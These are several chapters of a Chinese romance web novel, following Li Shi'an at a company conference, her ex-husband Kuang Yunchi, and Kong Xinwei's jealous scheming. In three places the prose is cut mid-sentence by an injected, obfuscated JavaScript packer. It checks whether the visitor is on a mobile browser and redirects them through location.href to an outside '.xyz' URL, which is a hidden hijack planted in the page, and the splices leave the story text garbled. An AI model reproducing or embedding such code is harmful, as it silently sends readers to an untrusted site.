田凌昕叮嘱,“等着,我给你拿一双鞋子。” 还是昨晚在家收拾的时候,田凌昕找出了一双JC银色渐变水晶鞋。 那是她结婚时候买的婚鞋,结果结婚当天也没穿,光是拍照用了一下。之后便一直放在鞋柜里,险些就要遗忘它的存在了。 预感可能会派上用场,她今早特意把鞋子带来公司。 她回她的办公室取鞋子,回来的路上,碰上许书妍走来给李十安送通行证。 许书妍眼睁睁看着李十安在田凌昕的安排下,把黑色高跟鞋换成了水晶高跟鞋,把三厘米的高跟换成了八厘米的高跟。 “鞋码正好合适。”田凌昕满意得很,“你是要去给我们景和检验争门面的,必须得努力一把。” 她替李十安整理头发,确保每一根头发丝都待在它该待的位置,“最起码也得给我们检验一科争面子,压制二科。” 许书妍尴尬地清了清嗓,“领导,我就是二科的。” 田凌昕对许书妍礼貌地笑了一下。 李十安也对许书妍尴尬又无奈地笑了一下。 群里已经在催促出发的事了,她们最后再检查一遍着装,确认无误后终于出发。 *** 交流会设置在景和国际会议中心,占据整片主会场。 李十安因为需要去C区11楼提交资料,和其他人告别后,独自踏上了连廊。 她走得小心翼翼。 她平日里穿的鞋,几乎都是小白鞋、休闲鞋、老爹鞋那一类,已经很久没有穿过高跟鞋了。 偏偏碰上这双高跟鞋的鞋跟又细又高,虽然不至于崴脚,但总归要多加小心。 优雅的代价就是痛苦。 幸亏时间充足,李十安得以缓慢地行走。 走到半途,李十安发现前方有个熟悉的人影,背对着她,似乎正在等人。李十安叫了一声,“况!” 况允驰回头,看见了李十安。 阳光耀眼,倾洒在空中连廊上,明暗交织。李十安发丝间裹了一层细碎的金色日光。袅袅婷婷,像宫崎骏电影里的林间公主。 况允驰只看了一眼,移开视线,眼波微动。 李十安踏着钢琴键那般的明暗光影,一步步走近况允驰,直至站在况允驰面前。 她微微仰头,问道,“喂,我很丑吗?” 况允驰低声,“怎么可能。” 李十安还想问,“那你干嘛看见我就转过头去?”正巧孔心薇和周森从另一头走了过来。原来况允驰等的是他们。 孔心薇脚步轻快,灵巧地卡到李十安和况允驰之间,娇娇地对况允驰说,“等很久了吧?” 况允驰不由自主往后退了一步。李十安也识趣地往后退了一步。 李十安这是第一次近距离地观察孔心薇。她的身影和面孔,和前段时间偶遇时候一模一样。 周森想要充当中间人,给两位女生做介绍,“这位是……” 孔心薇抢先一步转过身,正向面对李十安,“你好,我是孔心薇。” 李十安有意多看了几下孔心薇的面容,“真人比照片漂亮。” 孔心薇略显疑惑,“你看过我照片?” 李十安解释,“在森森的朋友圈里见过。” 孔心薇不知怎么了,心里竟有一种踏实感,像飘在空中许久,终于落地。“啊,原来她也在关注我啊。”孔心薇在心里感慨了一下。 “其实我也在朋友圈见过你。”孔心薇礼貌笑道,“你也是,真人比照片漂亮许多。” 周森夹在中间,趁机插了一句话,“其实我也是,真人比照片帅气十倍。” 两个女生侧头看向周森,稍显无语。 周森嬉笑着,拉着两个女生闲聊,东拉西扯,逐渐熟络,偶尔会有些许笑声。 况允驰站在一旁,没怎么参与他们的聊天。 他在看李十安的脚踝,好像是被磨破了皮。 *** 李十安从C区11楼出来后,本想回到会议厅歇息,但脚踝实在痛得厉害,快要走不动路。 完全破皮,小块皮肤被卷起。鲜血渗出,以及淡黄色的液体。似乎能看见肉,肉和鞋面被强行沾在一起,又被强行扯开。 不看伤口就已经很痛了,看了伤口更觉得痛。 眼角挂了半滴眼泪。李十安长呼一口气,迫不得已,坐在园林中镜像水景的黑色大理石台面上,半脱鞋子,扭头查看伤势。 刚坐下没多久,况允驰走了过来,手里拎着一个小纸袋。 李十安开玩笑,“怎么又碰到你了。” 况允驰没回应,直接单膝蹲在李十安身旁,握住李十安的脚踝,一边拿出一张创可贴比划。 李十安下意识要挪开,“我自己贴吧。” “别动。” 蔚蓝天幕,纯白云团,倒映在他们身后的镜像水景中,随风缓缓飘动,泛起细微的涟漪。 她的脚脖太瘦,他单手就能握住。神色专注。 贴创可贴是个技术活,既要贴住伤口,又要避免创可贴露出鞋外,影响美观。 况允驰找好了位置,拿剪刀修剪创可贴,用碘伏消毒后,细心贴上。 不仅贴了脚踝,连脚后跟之类的容易磨破的地方,也都未雨绸缪地提前贴好。 他用湿巾擦掉了露出鞋外的碘伏液,“试试看,现在怎么样?” 李十安撑着大理石台面慢慢站起来,走了两步,果然要舒服好些。“解放了,”李十安笑道,“再也不遭罪了。” 况允驰把纸袋递给李十安,里面有一双白色的一次性拖鞋。 附近没有便利店,况允驰这是去酒店找来的拖鞋,“等方便的时候,换成拖鞋吧。” 李十安接过纸袋,发现里面不仅有拖鞋,还有一瓶碘伏,一盒湿巾,一盒棉签,以及一大盒创可贴。 她用不了那么多创可贴。她抽了五张来备用,其余的装回盒子里,拿在手上,“这些太多了。” 她顿了下,倒和况允驰不约而同说出了口。 “放签到处?” 放签到处,给万一有需要的人提供一点帮助 况允驰拿过了创可贴盒子,“我去放。” 他先送了李十安一程,再返回会议中心前方的签到处,和负责签到的工作人员交谈了两句,放下了碘伏、湿巾、棉签、创可贴。 孔心薇躲在大厅二楼的护栏处,目睹了一切。 她看见他替她擦拭药膏。看见他替她轻轻吹拂疼痛的伤口。看见他替她穿上了那双水晶鞋。 孔心薇攥紧了护栏,指节泛白。 等到况允驰离开后,孔心薇去往签到处,借口新鞋磨脚,要了五张创可贴。 随后,她把创可贴全部撕碎,扔进了垃圾桶。 这辈子从没这样憎恨过创可贴。 *** 会议的座位不是以公司来分的,而是打乱了以姓氏来分区安排的,为了把总部以及制药、检验、器械三个子公司的人合并到一起,增加彼此之间的交流。 况允驰和孔心薇被分到K区。孔心薇早有准备,占了两个视野极佳的位置,和况允驰挨着坐。 李十安被分到L区,与他们之间隔了一个过道的距离。确切地说,李十安坐在况允驰的前一排,隔了五列。 本来一切进行得顺利。 可等到景和器械的主管在做分享报告的时候,一个工作人员弯着腰,穿越观众席,走到李十安的身旁,在李十安耳边低语了几句。 看得出来李十安感觉到有些意料之外,略显惊讶。 随后她站起来,跟着工作人员一道,猫腰小心翼翼地穿越观众席,走了出去。 说来有些郁闷。 本来李十安是排在后面出场的,偏偏前面两个人,一个堵车还没到,一个PPT出了问题无法识别,工作人员为了顺利推进交流会的会程,只能让李十安救场,提前顶上。 李十安急急忙忙去后场做准备。她只顾着专注走路。路过一个女人身边,她忽然被叫住。 “十安。” 李十安回头,看见了谷梁。 “三表姐?” 谷梁其实是况允驰的三表姐。但自从结婚后,李十安跟着况允驰喊三表姐,喊得顺口。 即便后来离婚,谷梁也让李十安别改口,继续叫她三表姐。 李十安往回走了两步,“没想到你也来了。” 谷梁耸肩,“你知道的,我和你们小林总是酒搭子。” 小林总和谷梁之间有不错的交情,李十安隐约听说过。不过这是她们的事,李十安一个外人,也没有过多打听。 她问谷梁,“你坐前排?” “嗯,小林总安排的。”谷梁抬手看了眼绿金迪手表时间,“我还得回公司一趟,先走了。” 李十安有些惋惜,“我刚要出场。” 谷梁笑道,“早知道让小林总把你安排到第一个出场。”她想了想,拖李十安帮忙,“对了,给允驰说一声,晚上来蔚蓝湖吃饭,你也来。” 李十安想婉拒。她和况允驰已经离婚两年多了,他们家里人吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655789|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她一个外人怎么好意思参加。 但是谷梁走得太快,李十安这边工作人员也在催促,只能专注于把当前手上的正事完成。 李十安赶在两分钟前,顺利到达后台,调整呼吸节奏,按照安排上场。 她的交流发言比较与众不同。 毕竟是总部组织的交流会议,大家的交流PPT还是偏向正式,简约风、学术风、商务风,常规并且不会出错。 可李十安和他们不一样。 她竟然在PPT里放表情包,讲到恰当之处,出现两个天线宝宝扭屁股,以及化了全妆的熊猫头。 还把聊天记录单独做成一张,叫人有种看八卦的既视感。 甚至在播放最后一页时,特效出了故障,她对场下听众满怀歉意,“不好意思,等我重新来一遍。” 李十安重来一遍,放出了搞笑画面和声音,惹出下面的人的笑声。 况允驰也笑了笑。她没变的,还是像以前那样。 他好几次拿出手机,点开了拍照页面,犹豫不决,没敢正大光明地把手机举起来。其实有些想要为她拍几张照片。 孔心薇察觉到况允驰细微的动作,能够猜测出况允驰的心思。 心里堵了一口气。 当初她上台发言,让况允驰帮忙拍照,况允驰尽是敷衍。如今换李十安上台,李十安都没说什么,况允驰对待得倒又那么认真。 真不公平。 要不要这么偏心。 *** 李十安交流结束后,况允驰有意等待了些许时候,仍没等到李十安回观众席。 不知道出了什么状况。 于是况允驰独自离开了观众席,去往后台。 快要走到时,二楼传来了响动。 李十安趴在护栏外,小声叫道,“况!” 许书妍趴在李十安身边,小声叫道,“允驰!” 她们朝况允驰挥手,示意况允驰上楼。 况允驰顺着弧形楼梯走上二楼,才发现她们原来是打起了茶歇台的主意。 还没到茶歇的时候,不过茶歇台已经布满了甜品饮品。 李十安拿了一小块提拉米苏递给况允驰,“这个好吃,你尝尝。” 况允驰拿着提拉米苏,咬了一小口。 许书妍拿起提拉米苏,一口全塞进嘴里。她开玩笑,“我们允驰,吃个蛋糕都这么绅士。” 李十安又递给况允驰一小块青柠慕斯,“我刚尝了,这个也好吃。” 况允驰的提拉米苏还没吃完,又接了青柠慕斯。 李十安往嘴里塞了一颗车厘子,提醒况允驰,“对了,三表姐让你记得今晚去蔚蓝湖吃饭。” 况允驰咀嚼了几下甜点,问道,“你呢?”他了解谷梁,只要碰上李十安,多半也会要请李十安一起吃饭。 李十安应道,“我有事,去不了。” 她还在继续认真搜寻好吃的甜品,许书妍指着茶歇台高处的荔枝苏打水,要李十安看一看,“这瓶子挺好看。” 李十安观察苏打水玻璃瓶的形状,“放到办公室插花也行。” 许书妍提议,“要不直接拿两瓶走?” 李十安迟疑,“不大好吧?好像顺东西的小贼。” “那喝完,只带瓶子走?” “可以,但……你喝得下吗?” “我刚喝了一杯茉莉花茶。” “我也是,之前还喝了一瓶矿泉水。” “那怎么办?” 她们边说着话,边不约而同地侧头,看向况允驰。 况允驰愣了下,咽下了手上的甜品。他问,“要几个?” 李十安比划,“两个就行,我们一人一个。” 况允驰单手拎起两个玻璃瓶,打开。随意挑选一瓶,仰头。手指修长,指节分明。 夕阳透过落地窗,被过滤成浓稠的橘色,将他的身影投射在墙上。 喉结滚动,棱角清晰。一只正在吞咽的猛兽。 李十安不知怎么了,耳廓竟微微发红。她随即侧过脸去。 况允驰一口气喝完了荔枝苏打水,“我去把瓶子洗干净。” 他正准备走,偏巧景和制药方总与景和器械姚总结伴走了过来。 李十安下意识向后退了一步。 她刚才脚踝实在疼得厉害,背地里已经换成了酒店拖鞋。在这么隆重的场合被看见穿拖鞋,总归不大好。 况允驰有意挡在李十安身前,并挪了挪茶歇台装饰用的绿色气球和白色玫瑰的位置,尽量遮挡李十安的双脚。 “允驰你小子,刚叫你出来叙旧你不来,现在倒是跑出来了。”姚总走近来开玩笑,“你们仨不讲义气,吃甜品也不知道叫我一声。” 许书妍搭话,“这不想给您尝尝有没有毒呐。” 方总绕过许书妍的身影,望向李十安,“十安,你这次的发言有意思,要不下次我让小林总……” 许书妍拦截林董的去路,“方总,你也不能只给十安机会吧?我也不差的好吧?” 她一边搪塞两位领导,一边背后悄悄向况允驰挥手。况允驰心领神会。 许书妍扯着话题咋咋呼呼地聊开,东拉西扯,氛围热闹,遇上来聊天的人越来越多,他们也无暇再顾及这头。 况允驰伸手轻轻摁住李十安的脑袋,调转了方向,“我们走这边。”他护着李十安悄悄离开了。 一直躲在侧门后面的孔心薇,眼睁睁看着况允驰和李十安逐渐消失的背影,红了眼眶。 38. 松露 李十安得回办公室一趟。交流发言已经完成了,再保持这一身稍显正式的装扮,不大合适也不大方便。她想换回早上穿的更为日常的衣服。 况允驰打算开车送李十安。他的车停在露天停车场,这片区域又大,走过去需要花费一些时候。他让李十安在附近路边等他,“我把车开过来。” “没事,我也走走。”李十安开玩笑,“坐了一下午,怪难受。” 他们走在小路上。日光晒在玻璃幕墙,反射金灿灿的光。 手机忽然震动,李十安点亮屏幕,看到靳瑞发来的两条消息。一条是李十安在台上交流发言的照片,一条是靳瑞的评论:[真好看。] 照片拍得很清晰,李十安放大来仔细看,有一根头发丝挡在眼睛中间了,虽然是很细的一根,但毕竟出现的位置显眼,一眼就能看见。 嗐,真是,不知道他找谁代拍的,拍照的这个人也不提醒她一下。 李十安没有回复靳瑞。 隔了两分钟,靳瑞又发来两条消息。一条是一个餐厅定位,一条是一个询问:[我来接你?] 喔——李十安想起来了,昨天靳瑞和李十安约好,今天晚上要一起吃饭的。她完全忘了这事了。 *** 况允驰先送李十安回办公室换衣服,再送李十安去餐厅。 李十安有些过意不去,“本来说请你吃饭的,结果只能等下一次了。”想请的是接风宴,之前提过一次。 况允驰应道,“我记着。” 这下倒是更不好意思了,李十安解释,“主要已经和朋友约好了。” 解释的时候没注意,李十安只说和朋友约好,没说具体和哪个朋友约好。况允驰下意识以为是个女性朋友。 直到他们到达餐厅楼外,看到站在门边等待的人,况允驰才发现,李十安共进晚餐的对象,是个男性。靳瑞,况允驰见过他。 李十安解开了安全带,忽然想到什么,问况允驰,“要不你干脆和我们一起吃?” 况允驰微蹙眉,一时没回应。 靳瑞走了过来,替李十安打开车门。 李十安暂时没行动,又问了况允驰一遍,“况,一起吧?” 况允驰收回视线,看向前方。 “算了。” *** 李十安和靳瑞一起享用晚餐,去的是意大利餐厅。独栋餐厅,坐在二楼露台卡座,身后是霓虹闪烁的高耸双子塔。 吃的是意式料理。靳瑞负责点单,按他的说法是,他要把最好吃的送给李十安,“你只用享受。” 于是李十安就这样安静地坐在座位上,等着上菜。 菜品刚端上桌的时候,李十安收到了况允驰发来的消息。他拍了一张菜单的牛皮封面给李十安,示意他也在同一家餐厅用餐。 李十安四处张望一下,没有发现况允驰的身影。正想问问看,况允驰发来消息解释:[我在一楼。] 怪不得看不到人。李十安心里疑惑,之前邀请况允驰一起用餐,他说算了,怎么转眼他又来到餐厅了。她在对话框里打字:[要不要上来……] 还没打完这句话,况允驰又发来消息,问道:[哪个好吃?] 李十安有些哭笑不得。她反问: [你是意大利留子还是我是?] [你推荐。] 手机那头安静了几分钟。李十安喝了一口红酒,刚拿起叉子,又收到了况允驰的一串消息。 [肉酱面保险。按你的口味,可以试试墨鱼面。] [披萨都还好。] [提拉米苏好吃。] [沙拉大多咸,海盐多。] [别点黑松露滑蛋,汽油味。] 李十安看一眼消息,又看一眼眼前摆放的这道黑松露滑蛋,顿了下。 不知道该怎么说出口,今天和靳瑞一起用餐,李十安是没什么决定权的。她是被他安排的对象。 确实闻到了一点淡淡的汽油味。李十安举着叉子,无意间看见和况允驰的对话框顶部,显示:[对方正在输入]。 这样的提示出现了五六秒,消失片刻,又一次出现。 李十安拿起手机,想问况允驰:[你想说什么?]没打完字,况允驰的消息终于传送过来。 [男朋友?] 李十安解释:[不是,只是男性朋友。]想了想,又加了一句:[正在接触中。] 那边安静了几秒,随后传来消息:[帮你参考?] 李十安回复:[不用。] 况允驰:[他一般。] 李十安笑了下,重复道:[我说不用。] 况允驰: [不收参考费。] [友情帮忙。] 李十安没忍住又笑了起来,评论况允驰:[你幼不幼稚。] 刚发送出去消息,靳瑞举着高脚杯,碰一下李十安放在餐盘一旁的杯子,发出清脆响。李十安抬头,有些懵。 靳瑞语气温柔,“十安,跟你共进晚餐,是我一天中最期待的时候。我希望我们能够不受外界打扰,一心享受美食,可以吗?” 李十安听懂了,靳瑞这是在点她吃饭玩手机的行为。 倒也是,和别人吃饭时候玩手机,确实不大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673472|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合适。李十安于是收好手机,举起高脚杯,回碰一下靳瑞。 “那就祝周末愉快?”李十安开玩笑,“你们霸道总裁有没有周末?” “只要你陪我,我每天都能过周末。” 靳瑞说着话,指尖搭在李十安的手背上,只是轻轻搭上而已,感受到了陌生的温度。 李十安愣了,在那一瞬间,变得僵硬。好像此时把手伸回来的话,不大合适。但是给予靳瑞回应,又不知道该怎么给。 下一步要做什么? 真想给许书妍打个电话,问问她到了这个阶段,下一个步骤是什么,该怎么做。 正想着,靳瑞收回了手,若无其事地继续切牛排。 暧昧试探好像结束了。李十安有一种考试结束的感觉。 不得不说,松了一口气。 *** 饭后,他们绕着木质楼梯慢慢走下楼。李十安扶着楼梯的玻璃扶手,透过落地窗,眼光在一楼厅堂里四下游移,看了一圈。 靳瑞问,“怎么了?” “喔,没什么,随便看看。” 李十安回应着,心里嘀咕,没看见人,他应该是走了吧。 他们走出门,坐上车。 按照靳瑞的说法,他要送李十安回家,“我必须确保你安全到家。” 李十安起初就是这么相信的。结果轿车行驶到一半,李十安发现这和回她家的方向完全相反。她有些警惕,问道,“这是去哪儿?” “陪我回公司一趟,办点事。”靳瑞解释,“你只用在车里等我。 早说嘛,李十安心想,去靳瑞的公司就得绕一大圈,多绕出二十几公里。 她侧头看向窗外,偷偷打了个呵欠。今天真是太困了。早知道还不如自己打车回家,现在都能躺在床上了。 陪靳瑞去了公司,耽搁半小时,再绕向李十安的家。 李十安昏昏欲睡,好几次就要闭上眼睛,甚至梦境就在眼前。 凭着仅剩的一点理智硬熬着,努力保持醒着的状态,为了礼貌,也为了避免又被靳瑞带去某个让她意料之外的地方。 等到路过南汀,行驶在熟悉的道路上,李十安忽然真正清醒了。 她下意识看向窗外。没指望能看见什么的,就是那么随便一看。偏偏真的看见了两个熟悉的身影。 轿车驶过,李十安仍回头望了一眼。 靳瑞问,“看什么?” “喔……看小区外的那片小竹林。”李十安搪塞,若无其事地转向前方,眼睛余光透过后视镜,再看了一下。 况允驰和孔心薇,他们在一起。 39. 路灯 孔心薇能够察觉到,况允驰对待她的态度变了。变得更冷漠了。 她在实验室里待了两个小时,为了完成细胞培养的工作,枯燥乏味却又必须一丝不苟。 等到从实验室里走出来,孔心薇额头渗出了一点汗,手臂也酸痛不已。 她习惯性地向况允驰汇报,“喏,手套把手腕都勒出痕迹了。” 她把手腕伸到况允驰面前,要况允驰看得更真切。她心里希望的是,况允驰会捧起她的手腕,心疼地抚摸那道触目的压痕。 虽然在这之前,他和她也从没有过肌肤接触。 她知道这是痴心妄想了。 然而出乎孔心薇的预料,况允驰只冷淡看了一眼。“这样,你和张嫣交换一下。”况允驰提议,“我去安排。” 张嫣最近忙于汇总实验数据,整天埋在各色各样的表格里,头晕眼花,简直快要吐血。她早就巴不得换个工作内容。 所以当况允驰安排换岗位时,张嫣灰暗的人生忽然明亮起来,她兴高采烈急不可耐地跑去找孔心薇。 “心薇,组长让我俩交换。”张嫣难掩嘴角的笑意,“现在就交换?” 孔心薇礼貌应答,“好。” 张嫣拷来了所有表格,在孔心薇耳边交待表格内容与要求,喋喋不休。 孔心薇神情恍惚。她在张嫣交待的间隙,偶尔会稍侧身,瞄向对面工位的况允驰。 况允驰拿着一只铅笔,在实验分析报告上画横线、做修改,专心致志,丝毫没有除工作之外的任何反应。孔心薇收回了视线。 果然。 以前他好歹还会问她一句,“没事吧?”起码还有朋友情分在。现在倒好,连问都不问了。 *** 孔心薇不甘心,又试了一次。 她故意收好胸前的名牌,藏进抽屉里。再去找后勤要了一块空名牌,准备好一只签字笔。 她去实验室找况允驰,恰巧在实验室门外碰上。她上下打量况允驰,“你穿白大褂真好看。” 白大褂造型简单,没有什么款式可言,其他人穿上白大褂,就只是穿一件工作服而已。 可况允驰不同,况允驰高、瘦,身材修长,肩宽腰窄,穿上白大褂,像穿一件复古的白色风衣。 真好看。 况允驰却说,“没什么好看的,都一样。” “哪有,你不一样。”孔心薇笑着,从口袋里摸出空白名牌和签字笔,转入正题,“我名牌弄丢了,需要重新弄一个。你的字写得好看,帮我写一下名字?” 白大褂上的名牌本来是有统一规定的,但时间长了,大家逐渐把机打名牌和手写名牌两类混合用,公司也没过多纠正。 孔心薇递上空白名牌和签字笔,但况允驰没接。 “我的字就那样,”况允驰提议,“我让人给你重新办一个。” 况允驰招手,随手拦住了正好路过的实习生,“浩然,给心薇办一个名牌。”他交待完就走了,没有任何停留。 浩然拿着随身携带的记事本,仔细询问孔心薇,“心薇姐,最近新办了一批金边名牌,你要金边还是以前的银边?” 孔心薇没有听浩然说话,兀自盯着况允驰的背影出神。 浩然好心提醒,“心薇姐?你想要哪种?” “啊,都行,随便。”孔心薇敷衍着,看向况允驰消失的方向,眼神暗淡。 他的心可真狠。 连个名字都不肯帮忙签。 *** 孔心薇最后再试了一次。 深夜十一点,孔心薇给况允驰打电话,让况允驰下楼一趟。“我被朋友甩在路边了,”孔心薇语气柔软,“你能下来接我吗?” 况允驰在电话那头沉默了,他在掂量孔心薇的说辞。 孔心薇耐心解释她提前准备好的腹稿。 “我朋友临时有事,就把我扔半路了。” “这里正好是你家楼下,我给你拍了照片,你看看。” “周围没人,路灯太暗了,我害怕。” “你能来接我吗?陪我打车也行的。” 况允驰犹豫了一下,最终答应了孔心薇,“好,我马上下来。” 孔心薇很高兴。 以前在意大利,她就用过两次同样的招数,说自己一个女孩子深更半夜在街边害怕,把自己说得楚楚可怜。她料到况允驰会心软。 这次也不例外。 况允驰很快到达楼下,找到了孔心薇。 孔心薇为了避免况允驰说出要立即送她回家之类的话,抢先一步发出邀约,“我肚子饿了,陪我吃点东西好吗?” 况允驰出乎意料地没有过多迟疑,应允道,“好,吃上次那家夜宵?” 孔心薇欣喜地点头,“嗯。” 一路跟随着况允驰走,走过一条街巷。直到到达夜宵店后,孔心薇才明白况允驰这次不避讳的原因。 原来周森也在。 周森刚结束上一场聚餐,路过这家夜宵店,闻着味又饿了。 他约况允驰吃饭,况允驰起先拒绝了他,隔了不到十分钟,又打电话来说可以吃。 结果就是三个人一起吃起夜宵。 有一个电灯泡在,尤其是周森这么一个聒噪的电灯泡,孔心薇与况允驰之间,根本毫无暧昧的氛围可言。 整个餐桌上,就听周森一个人喋喋不休。 “咱仨有多久没这样半夜撸串过了?” “你们还记得我们在米兰偶然找到的那家东北菜吗?好家伙,现在都跑去伦敦开分店了。” “我那天打车碰到个意大利人,跟我说意大利语,天老爷,我会的意大利语不超过十句!” 周森的话密密麻麻,不留一点缝隙。孔心薇偶尔会附和一下,给周森捧场。 况允驰多数时候是沉默的,没有参与交谈,也没动筷吃小龙虾或者烧烤,独自剥开煮花生,放进嘴里,没有味道地咀嚼。 等到周森喝多了啤酒,去一趟卫生间,孔心薇才终于有机会和况允驰独处。 况允驰仍旧没怎么说话,喝着苦丁茶。他对她是一直不怎么热情的,但是最近一段时间,他简直不热情得过了头,完全是冷漠。 孔心薇说话的语气还像平时那样,“我伯伯回来了,说哪天叫你一起吃饭。” 她把长辈搬出来,期望能用长辈的威严压他。 况允驰又往杯子里添茶,“哪天有空,我和我爸妈一起去拜访贺伯。” 他也搬出了长辈,意思是他和她之间的交集,全是因为长辈才得以形成。 孔心薇心里堵了一块石头。她嚼一块碳烤茄子,要费很大的劲才能咽下去,噎得慌。 等到周森从卫生间回来,况允驰又走了。他去柜台结账。 一顿夜宵吃饱喝足,也差不多了。 况允驰没喝酒,打算开车送孔心薇和周森回家。先送孔心薇,再送周森,这样与孔心薇之间,总有周森在场。 但孔心薇意外拒绝了况允驰的提议。“周森哥哥送我就行,”孔心薇笑道,“我俩顺路。” 周森晃动代驾名片,“我顺路送心薇,你没必要特意跑一趟。” 况允驰听到他们的决定后,第一反应竟是松了一口气。 因为这么久的时间以来,他似乎被长辈们“要照顾心薇”的这个任务,给压得喘不过气了。 要确保心薇安全到家。 要确保心薇不会被饿肚子。 要确保心薇工作不受挫折。 长辈们甚至隔三差五地就会问上一句,“心薇最近怎么样?”长辈们问得轻松,看似是随口一问的事。可每问一次,况允驰心里就蒙上一层。 湿透的纸糊在脸上,勉强能呼吸,但是很困难。 然而今天晚上,周森提出要替况允驰送孔心薇回家的时候,况允驰蒙上的纸,好像被掀开了一层。 他当然没有表现得明显,只是平静地嘱咐一声,“好的,注意安全。” *** 孔心薇看着车窗外,魂不守舍。 她其实并不傻,一直都明白她和况允驰之间,是不对等的关系。 她有情,他无意。 她也因此从不敢挑白了明说,她喜欢他。她害怕会得到一个叫人钻心痛的答案。 孔心薇总是心存幻想,像这样每天待在况允驰身边,在他眼前晃悠,向他撒娇,让他感受到她的依赖,潜移默化。 会不会某一天,日久生情,他也会喜欢上她。 说句实在话,孔心薇真的挺漂亮的。 走在路上被邀请过去街拍,坐在咖啡店里被要过微信,坐飞机时被误认为是演员,拍写真后被用来当作展示客片。 她不差的,她桃花运很旺的。 而且别人都说,女追男隔层纱,稍稍用力就能破。于是孔心薇才坚信,终会等到况允驰对她心动的那一刻。她有足够的信心和耐心。 直到—— 孔心薇吹拂着夜晚冰凉的风,喃喃自语,“李十安……” 周森问道,“李十安怎么了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686714|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孔心薇想说什么,最后咽下了话,没来由地评价了一句,“李十安挺漂亮的。” 周森认同,“是挺漂亮的。” 听到这话,孔心薇却忽然不服气了,心里堵塞着,转而问周森,“那是我漂亮还是她漂亮?” “都漂亮。”周森老实回答,“都挺好看的,不一样的好看。” 孔心薇不甘心,换了一种说法追着问,“那不说外貌,综合起来看,她好还是我好?” 因为孔心薇的语气实在过于坚定了,甚至隐约带了些许的怒气,周森这才意识到,孔心薇提出的问题并不是单纯的问题。 周森快速反应,一本正经地回答,“你好,我觉得你好。” “是吗?”孔心薇反问。 也知道自己内心的矛盾,问的时候渴求得到周森肯定的答复,得到肯定答复后又变得不相信,总之左右都不顺心,盯着窗外,心里莫名烦躁。 周森察觉到了气氛的微妙,识趣地没有再说话,安静地坐着。怕尴尬,他只能低头玩手机转移注意力。 晚风灌进车窗。商业楼外的裸眼3D画面逼真,一只丛林狮子似乎真的要从屏幕里跑出来。 孔心薇眼神暗淡,脑海里一直想着李十安的事,想着李十安为了逃避母亲的压迫,躲进况允驰家里,和况允驰朝夕相处,让况允驰对她动心。 真是——长了一张清纯小白花的初恋脸,结果做出这么腹黑的事。 如果这样能成功的话,那她肯定也可以。孔心薇轻声细语,“我要是也能住进允驰家就好了。” 周森顿了顿。本来不想搭话的,毕竟孔心薇情绪不对劲,周森怕惹麻烦。 但听到孔心薇的话,周森还是忍不住笑道,“真当允驰家是收容所?少女收容所。” “不可以吗?”孔心薇反问周森,“李十安都可以,我为什么不可以?我原生家庭也有问题,不行吗?为什么她能行,我就不行?” “因为……”周森支支吾吾。他一个局外人,哪里知道背后的故事。他也不敢轻易回答,他哪知道标准答案是什么。 孔心薇越想越不甘心,胸腔里一团火聚着,难受。 她下定决心那般,坚决说道,“明天我就试试。既然李十安能住进去,那我也能住进去,这样才公平。” 似乎是动了真格了,还不是那种深思熟虑的决定,而是一瞬间一上头的冲动。 周森有些担忧,怕孔心薇当真做出什么出格举动,让事态朝向另一个不大正常方向发展,搞得两败俱伤。 思索些许时候,周森放下手机,正襟危坐。 “心薇,凭我们的关系,我想跟你说几句掏心窝子的话。”周森告诫孔心薇,“你别想着住进允驰家,他是绝对不可能答应你的。” 孔心薇讥笑,“你怎么知道他不答应。”但是眼眶已经红了。 周森说道,“因为这件事跟公不公平没有关系。” 路灯忽然暗了。闪烁两下,又重新亮起来。 说起孔心薇对况允驰的心意,周森其实看得出来。至于况允驰对孔心薇的态度,周森也都看得一清二楚。 只不过周森作为一个外人,怎么好意思随意插手他们的事情。所以一直以来装傻充愣,对外大张旗鼓地吆喝着所谓三人友情、坚不可摧。 他也确实看重三人友情。 “你知道你现在不理智,对吧?我也是怕你吃苦,才在关键时刻给你打一剂预防针。”周森苦口婆心,“如果还想和允驰做朋友,就千万别越界,别做出格的事。” 孔心薇咬紧牙关,倔强地忍着不掉眼泪。 周森语气放缓了些,“心薇,就我个人而言,我是真心把你当朋友的,所以我希望你能明白……” 他斟酌着说出口,“有的事,她做可以,别人不行。” 周森的话像刀子一样,一道又一道地割在孔心薇心上,把一颗心都快割成鱼鳞了。 孔心薇攥紧衣角,把衣角攥变了形,指甲透过丝质衣料嵌入掌心肉里。和一颗鱼鳞心比起来,其余身体上的疼痛,都叫人麻木了。 她有气无力地说道,“周森,你还是不要把我当朋友了吧。” 周森慌了,“为什么?” 